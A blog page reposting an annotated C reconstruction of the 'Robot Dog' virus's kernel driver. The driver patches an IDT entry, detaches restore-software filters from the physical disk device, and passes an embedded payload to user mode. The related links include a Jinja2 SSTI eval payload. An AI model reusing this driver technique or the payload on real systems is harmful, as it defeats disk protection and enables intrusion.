机器狗”病毒驱动部分逆向分析注释(C代码)

机器狗”病毒驱动部分逆向分析注释(C代码) <br />软件名称】: 机器狗(病毒)<br />【下载地址】: http://www.dream2fly.net/ 或 自己搜索下载<br />【加壳方式】: 未知壳<br />【编写语言】: MASM(我也不太懂这个,学好这个就可以编自己的操作系统了)对应的是LINUX的NASM<br />【使用工具】: IDA<br />【操作平台】: win2003(虚拟机)<br />【软件介绍】: 穿透冰点型带驱动病毒<br />【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!<br /> 阅读详情
/*
标 题: 【原创】“机器狗”病毒驱动部分逆向分析注释(C代码)
作 者: dream2fly(QQ:838468959)
时 间: 2008.03.13 于深圳科技园
链 接; http://www.dream2fly.net
版 本: 1.0

【软件名称】: 机器狗(病毒)
【下载地址】: http://www.dream2fly.net 或 自己搜索下载
【加壳方式】: 未知壳
【编写语言】: MASM
【使用工具】: IDA
【操作平台】: win2003
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

*/
#include <ntddk.h>          // various NT definitions

#define IOCTL_MYDEV_BASE             0xF000
#define IOCTL_MYDEV_Fun_0xF01        CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME                        "//Device//Harddisk0//DR0"
#define NT_DEVICE_NAME                        "//Device//PhysicalHardDisk0"
#define DOS_DEVICE_NAME                        "//DosDevices//PhysicalHardDisk0"

PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID*   g_ResData;
SIZE_T  g_ResDataSize;

typedef struct _idtr
{
    //定义中断描述符表的限制,长度两字节;
    short        IDTLimit;
    //定义中断描述服表的基址,长度四字节;
    unsigned int    IDTBase;
}IDTR,*PIDTR;

typedef struct _idtentry
{
    //中断执行代码偏移量的底16位;
    unsigned short    OffsetLow;
    //选择器,也就是寄存器;
    unsigned short    Selector;
    //保留位,始终为零;
    unsigned char        Reserved;
    //IDT中的门的类型:包括中断门,陷阱门和任务门;
    unsigned char        Type:4;
    //段标识位;
    unsigned char        SegmentFlag:1;
    //中断门的权限等级,0表示内核级,3表示用户级;
    unsigned char        DPL:2;
    //呈现标志位;
    unsigned char        Present:1;
    //中断执行代码偏移量的高16位;
    unsigned short    OffsetHigh;
}IDTENTRY,*PIDTENTRY;

#define HOOKINTID_09 9                //NPX Segment Overrun
#define HOOKINTID_0E 0x0E        //Page Fault

VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
{
        int INT_09_Address_High8;
        int INT_0E_Address_High8;
        unsigned long OldISR_09;
        unsigned long OldISR_0E;

        //保存IDT入口的基地址和限制信息的数据结构;
    IDTR        idtr;//store   interrupt   descript   table   register. to  idtr

            //记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
    PIDTENTRY    IdtEntry;

    //汇编指令sidt,获取IDT入口信息;
    __asm sidt    idtr

    //赋予IDT基地址值;
    IdtEntry = (PIDTENTRY)idtr.IDTBase;

    //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用
        OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);

        INT_09_Address_High8 = OldISR_09&0x0FF000000;

        /*
        这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???
        有知道的大侠告诉我dream2fly(QQ:838468959)
        sub     eax, eax
        jz      short FunctionExit
        难道是?
        if (INT_09_Address_High8 == 0)
                return;
        */


        //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
        OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);

        INT_0E_Address_High8 = OldISR_0E&0x0FF000000;

        if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
        {                
                //关中断
                __asm cli
                
                IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?
        
                //开中断
                __asm sti
        }
}

/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
        VOID* pSelfImage = NULL;
        VOID* pCurAddr = NULL;
        VOID* pTmpAddr = NULL;

//         loc_40045F:这个取当前地址用C怎么写?
//028 lea     ebx, loc_40045F
//028 and     ebx, 0FFFFFC00h

        //pSelfImage如何取?

        while(MmIsAddressValid(pSelfImage))
        {
                if ((unsigned long)pSelfImage <= 0x80000000)
                        return NULL;

                if (RtlEqualMemory(pSelfImage, "MZ", 2))
                {
                        pCurAddr = pSelfImage;
                        pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
                        (unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);

                        if (!MmIsAddressValid(pCurAddr))
                                return NULL;

                        if (RtlEqualMemory(pCurAddr, "PE", 2))
                                return pSelfImage;
                }

                (unsigned long)pSelfImage -= 0x400;//-1024K
        }
        
        return NULL;
}

SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
{
        // 有空再补上:)

        return 0;
}
//
// Device driver routine declarations.
//

NTSTATUS
DriverEntry(
    IN OUT PDRIVER_OBJECT   DriverObject,
    IN PUNICODE_STRING      RegistryPath
    );

NTSTATUS
CommonDispatch(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
    );

VOID
Unload(
    IN PDRIVER_OBJECT       DriverObject
    );

NTSTATUS
DriverEntry(
    IN OUT PDRIVER_OBJECT   DriverObject,
    IN PUNICODE_STRING      RegistryPath
    )
{
    NTSTATUS        ntStatus;
        CHAR*                pResData = NULL;
        ANSI_STRING                SourceString;
        PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object
    UNICODE_STRING  SymbolicLinkName;  
        UNICODE_STRING  DeviceName;    
        VOID* pSelfImage;
        PDEVICE_OBJECT cur_device_object;
        PDEVICE_OBJECT next_device_object;

        CheckIdt();

        pSelfImage = SearchSelf();
        if (pSelfImage == NULL)
                return -1;

        g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
        if (g_ResDataSize == 0)
        {
                return -1;
        }

        g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
        // 跳转到下条指令,延时 jmp short $+2

        RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

        DriverObject->DriverUnload = Unload;
    DriverObject->MajorFunction[IRP_MJ_CREATE] =
    DriverObject->MajorFunction[IRP_MJ_CLOSE] =
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;

        // 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
        RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
        RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);

        RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
        RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
    
    ntStatus = IoCreateDevice(
        DriverObject,                   // Our Driver Object
        0,                              // We don't use a device extension
        &DeviceName,                                        
        FILE_DEVICE_NULL,            // Device type
        0,     // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
        FALSE,                          // Not an exclusive device
        &DeviceObject );                // Returned ptr to Device Object

        if ( !NT_SUCCESS( ntStatus ) )
        {
                goto End;
        }

        ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

        if ( !NT_SUCCESS( ntStatus ) )
        {
                cur_device_object = DriverObject->DeviceObject;

                while (cur_device_object)
                {
                        next_device_object = DeviceObject->NextDevice;
                        IoDeleteDevice(cur_device_object);
                        cur_device_object = next_device_object;
                }
        }

End:
        RtlFreeUnicodeString(&DeviceName);
        RtlFreeUnicodeString(&SymbolicLinkName);

        return STATUS_SUCCESS;
}

VOID
Unload(
   IN PDRIVER_OBJECT DriverObject
    )
{
        ANSI_STRING                SourceString;
        PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object
    UNICODE_STRING  SymbolicLinkName;  
        PDEVICE_OBJECT cur_device_object;
        PDEVICE_OBJECT next_device_object;

        if (g_ResData)
        {
                ExFreePool(g_ResData);
        }

        if (DriverObject)
        {
                RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
                RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

                IoDeleteSymbolicLink(&SymbolicLinkName);
                RtlFreeUnicodeString(&SymbolicLinkName);

                cur_device_object = DriverObject->DeviceObject;

                while (cur_device_object)
                {
                        next_device_object = DeviceObject->NextDevice;
                        IoDeleteDevice(cur_device_object);
                        cur_device_object = next_device_object;
                }
        }
}

NTSTATUS
CommonDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    )
{
        PDEVICE_OBJECT  DRO_DeviceObject = NULL;    // ptr to device object
        PFILE_OBJECT        DRO_FileObject;
        ANSI_STRING                SourceString;
    UNICODE_STRING  DRO_DeviceName;    

    PIO_STACK_LOCATION  irpSp;// Pointer to current stack location
    NTSTATUS            ntStatus = STATUS_SUCCESS;// Assume success
    ULONG               inBufLength; // Input buffer length
    ULONG               outBufLength; // Output buffer length

        Irp->IoStatus.Status = STATUS_SUCCESS;
        Irp->IoStatus.Information = 0;

    irpSp = IoGetCurrentIrpStackLocation( Irp );
    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

    if(!inBufLength || !outBufLength)
    {
        ntStatus = STATUS_INVALID_PARAMETER;
        goto End;
    }

        switch ( irpSp->MajorFunction )
        {
        case IRP_MJ_CREATE:
                RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
                RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

                IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
                g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

                //保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加
                if (DRO_FileObject->DeviceObject->AttachedDevice)
                {
                        g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
                        DRO_FileObject->DeviceObject->AttachedDevice= NULL;
                }

                ObDereferenceObject(DRO_FileObject);

                RtlFreeUnicodeString(&DRO_DeviceName);

                break;
        case IRP_MJ_CLOSE:
                if (g_DR0_DeviceObject)
                {
                        if (g_OldAttachedDeviceOfDR0)
                        {
                                g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
                        }
                }

                break;
        case IRP_MJ_DEVICE_CONTROL:
                if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
                {
                        if (outBufLength < g_ResDataSize)
                                goto End;

                        // 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
                        // 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
                        // 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
                        RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

                        Irp->IoStatus.Information = g_ResDataSize;
                }
                else
                {
                        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
                }

                break;

        default:

                //
        // The specified I/O control code is unrecognized by this driver.
        //

        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }

End:
    //
    // Finish the I/O operation by simply completing the packet and returning
    // the same status as in the packet itself.
    //

    Irp->IoStatus.Status = ntStatus;

    IoCompleteRequest( Irp, IO_NO_INCREMENT );

    return ntStatus; 
逆向一个基于驱动的恶意程序 本程序发现于机器狗变种病毒释放恶意程序的下载列表中:穿透还原系统后的机器狗病毒在机器启动后会从指定网址下载多个恶意程序,本程序即其中之一,其功能为通过底层键盘过滤方式盗取用户键盘输入信息。因程序使用了底层键盘过滤技术,故而可记录大部分软件的键盘输入,包括网游、QQ、邮箱的帐户输入信息等。 一、原理:     此程序随系统进程internat.exe启动而被执行,程序通过加载自身资源里的两个驱动来隐 阅读详情

相关推荐

机械狗模板

【代码】机械狗模板。

weixin_52537956的博客 568

“机器狗”病毒驱动部分逆向分析注释(C代码)

创建时间:2008-03-13文章属性:原创文章提交:swords (songbohr_at_163.com)/*标 题: 【原创】“机器狗”病毒驱动部分逆向分析注释(C代码)作 者: dream2fly(QQ:838468959)时 间: 2008.03.13 于深圳科技园链 接; http://www.dream2fly.net版 本: 1.0 【软件名称】: 机器狗(病毒)【下载地址】: h

安静 982

机器狗源代码

 // Test.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"//==============================================================================#include typedef struct _PARTITION_ENTRY{   UCHAR active;           

4012

GO1机器狗ros初尝试

宇树go1机器狗 ros_real包运行

w55aa的博客 2683

Unitree机器狗仿真(gazebo)

Unitree_ros源码理解机器狗的仿真仿真文件架构gazebo运行 机器狗的仿真 仿真文件架构 在robot文件夹下,存放着机器人的建模源码包,这里列举a1机器狗的文件结构 这其中主要由config(配置文件)(存储rviz文件配置信息),launch(启动文件),meshes(机器人模型渲染文件),urdf, xacro. URDF是 Unified Robot Description Format 的首字母缩写,直译为统一(标准化)机器人描述格式,可以以一种 XML 的方式描述机器人的部分结构,比

路飞DoD的博客 1万+

【论文翻译】Enhancing Channel Estimation in High Mobility OTFS Systems: A Novel Pilot-Based Method...

本文介绍了一种用于正交时频空间(OTFS)调制系统的新型基于导频的信道估计方法。我们提出的方法是在ZP-OTFS系统的零填充区域插入一行导频符号,具有减少开销和降低峰均功率比(PAPR)的显著优势。特别是,通过沿多普勒轴分布导频符号,我们的方法在高移动性场景下依然能够提供鲁棒且精确的信道估计,这是像TransPod这种时速超过1000 km/h的运输系统的一个典型特征。这一点至关重要,因为在此类场景下,多普勒频移可能会导致系统性能的严重退化。

Cuby的博客 1214

MIT Mini Cheetah四足机器狗开源代码仿真环境搭建以及问题报错汇总

主要分为四大部分:完成Qt、Lcm与Eigen库的安装及Cheetah代码的编译四部分,以及遇到的问题和解决方法,大部分参考开头两篇引用文章。

BIT_TF的博客 5955

保姆级教程:用SNAP处理哨兵一号数据,5步搞定城区范围提取(附江西晋城案例)

本文提供了一份详细的保姆级教程,介绍如何使用SNAP软件处理哨兵一号数据,通过5个关键步骤快速提取城区范围。以江西晋城为例,教程涵盖数据准备、预处理、核心处理流程、自动化搭建及成果分析,帮助用户轻松掌握SNAP操作技巧,适用于城市规划、环境监测等领域。

weixin_32535389的博客 455

宇数机器狗开源代码详解:代码框架梳理1

这一篇文章会讲讲[unitree_ros](https://github.com/unitreerobotics/unitree_ros)的代码框架,仅代表个人看法,写出来加深自己的印象,欢迎交流。#附上宇树家的学习资料[《四足机器人控制算法--建模、控制与实践》](https://detail.tmall.com/item.htm?下载了GitHub上的压缩包之后,有五个文件(第五个unitree_ros_to_real是空的),robots装的是宇树家不同机器狗的描述文件。

BIT_TF的博客 3423

浙江大学Fast-Lab从0制作自主空中机器人公开课教程补充及部分注意事项(适用于ubuntu系统和ROS零基础)

浙江大学Fast-Lab从0制作自主空中机器人公开课纯萌新补充(适用于从没接触过ubuntu系统),记录了一些自己不会的地方以及踩过的坑

qq_39986834的博客 2986

SSTI模板注入及绕过姿势(基于Python-Jinja2)

http://xmctf.top:8962/?name={{%22%22[%22\x5f\x5fclass\x5f\x5f%22]["\x5F\x5Fbase\x5F\x5F"]["\x5F\x5Fsubclasses\x5F\x5F"]()[233]["\x5F\x5Finit\x5F\x5F"]["\x5F\x5Fglobals\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"]['eval']("\x5F\x5Fimport\x5F\x5F('os'))")}}

Y4tacker的博客 1万+

百度API&NodeMcu语音控制机器狗制作经验分享(超详细)

比赛获奖项目经验分享:使用WiFi和语音控制的机器狗代码部分超详细介绍

weixin_64943832的博客 4422

IC618新手避坑指南:从零在Linux上配置Cadence Virtuoso环境(含cds.lib文件详解)

本文详细介绍了在Linux系统上配置Cadence Virtuoso IC618环境的完整指南,特别针对新手常见问题提供解决方案。重点解析了cds.lib文件的关键配置,包括库路径定义和工艺库管理,并分享了高效工作流设置和典型问题排查技巧,帮助工程师快速搭建稳定的EDA设计环境。

weixin_26805597的博客 557

1 MIT Cheetah机器狗源码编译

mit cheetah 开源代码编译

m0_54977817的博客 467

Saturn PCB Toolkit V8.02 实战:5分钟完成10A电源路径的走线与过孔通流验证

本文详细介绍了如何使用Saturn PCB Toolkit V8.02快速验证10A电源路径的走线与过孔通流能力。通过实战案例和参数配置指南,帮助工程师解决大电流PCB设计中的温升失控、过孔瓶颈等核心挑战,提升设计效率和可靠性。

weixin_34194829的博客 452

c#上位机最强教程之环境安装

本文介绍了.NET 6开发环境的安装配置指南。主要内容包括:1)安装.NET 6 SDK和Runtime的方法及验证步骤;2)Visual Studio 2022的安装流程;3)创建第一个.NET 6控制台项目;4)项目结构解析和配置文件说明。文章还提供了实践练习和常见问题解答,帮助初学者快速搭建开发环境并运行简单程序。适用于零基础开发者,学习时间约10分钟。

飞上云层 316

基于unitree机器狗,编写基于C++语言的平地行走运动开发案例及代码

这个代码实现了一个机器狗的四条腿,其中每条腿由两个关节组成。每个关节的状态由它们对应的Leg对象中的joint1和joint2成员变量表示。该程序演示了机器狗向指定位置移动时的腿部IK解决方案。它使用Leg类来实现IK计算,并使用Robot类来管理所有四条腿的运动。最后,程序打印出每个关节的角度,以便机器狗朝着目标位置行走。

迪之的博客 2394

27、单阶段目标检测算法(SSD):原理、训练与实战

本文详细介绍了单阶段目标检测算法SSD的原理、训练方法与实战应用。内容涵盖SSD的核心机制,如特征图离散化、边界框预测、损失函数设计及难负样本挖掘,并通过使用dlib车辆数据集从零开始训练SSD模型的完整流程展示了实际操作步骤。文章还讨论了训练中的关键问题,如边界框坐标处理和‘忽略区域’缺失的影响,提供了模型评估与优化策略,包括超参数调整、基础网络替换和数据增强。最后总结了SSD的优势与局限性,并展望了未来目标检测技术的发展方向。

nice1的博客 506

第四代机器狗驱动代码

#include#includeULONG * realssdt;#define SEC_IMAGE 0x01000000#pragma pack(1)typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterT

Hackett的专栏 2685

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

上一篇: VC实现查找纯真数据库
下一篇: 探索NDIS HOOK新的实现方法(2)
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值